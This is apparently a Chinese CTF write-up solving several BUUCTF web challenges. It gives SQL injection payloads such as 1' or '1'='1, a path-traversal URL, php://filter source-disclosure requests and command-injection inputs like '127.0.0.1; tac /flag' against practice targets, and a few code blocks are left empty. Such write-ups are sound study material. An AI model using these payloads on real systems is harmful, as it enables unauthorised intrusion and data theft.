BUUCTF-web刷题篇

1.EASYSQL破解密码

万能公式

1' and 1=1
1' and '1'='1
1' or 1=1 
1' or '1'='1

解释:payload

SELECT * FROM tables WHERE username='1' or '1'='1' and password='1' or '1'='1'

优先级排序:and 优先级高于 or,所以要计算 and 然后再计算 or

username='1'--->false '1'='1'---> true

passwrod='1'--->false '1'='1'--->true

false or (true and false) or true

false or false or true

false or true

#得出结果:true

注意:输入自带单引号,所以两边不要带,可以写为 hly' or '1'='1

2.have fun一起来撸猫

题目类型:网页传参;

方法:①查看网页源代码;②构造payload(从源代码中获取信息,然后在url后加上/?什么什么)。

涉及知识:$_GET

$_GET变量是一个数组,内容是由HTTP GET方式发送的变量名和值

$_GET用于收集来自 method=“get” 的表单中的值。从带有GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送的信息量也有限制(最多 100 个字符)

注:

属于GET请求的有:from标签中method="get"

在使用 $_GET 变量时,所有的变量名和值都会显示在 URL 中。所以在发送密码或其他敏感信息时,不应该使用这个方法。不过,正因为变量显示在 URL 中,因此可以在收藏夹中收藏该页面。在某些情况下,这是很有用的。

3.warmup

涉及知识:代码审计、PHP

在url中键入source.php,发现hint.php文件;因此键入hint.php发现flag not here, and flag in ffffllllaaaagggg;然后键入source.php?file=hint.php?ffffllllaaaagggg,打开文件之后发现没有什么关键信息,应该是键入的路径不对,但是我们不清楚它的具体位置,所以用5次../返回,即键入source.php?file=hint.php?../../../../../ffffllllaaaagggg,最后找到flag。

4.Include

题目类型:文件包含题

分析:对文件进行php伪协议检测。使用input伪协议会被检车过滤,我们使用filter读取源代码,即在url上键入?file=php://filter/read=convert.base64-encode/resource=index.php;打开文件后得到伪代码,使用Base64菜鸟工具进行伪代码解码得到源代码,即


tips';
}
?>

input伪协议是被过滤掉了,我们再使用filter伪协议读取flag.php文件,键入?file=php://filter/read=convert.base64-encode/resource=flag.php,打开文件后得到伪代码,使用工具进行解码得到源代码,即

5.Exec(输入PING的地址)

方法:

;前面和后面命令都要执行,无论前面真假

|直接执行后面的语句

||如果前面命令是错的,那么就执行后面的语句,否则只执行前面的语句

&前面和后面命令都要执行,无论前面真假

&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

例子:

127.0.0.1; tac /flag //注意:tac后面一定要有空格

www.baidu.com||tac /flag

aaa&tac /flag

你可能感兴趣的:(web刷题WP,web,buuctf)